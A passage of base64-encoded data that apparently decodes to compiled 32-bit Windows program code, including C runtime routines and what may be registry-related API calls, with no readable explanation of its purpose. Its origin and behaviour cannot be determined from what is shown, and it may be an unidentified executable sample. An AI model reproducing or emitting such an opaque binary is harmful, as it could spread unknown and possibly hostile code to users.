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 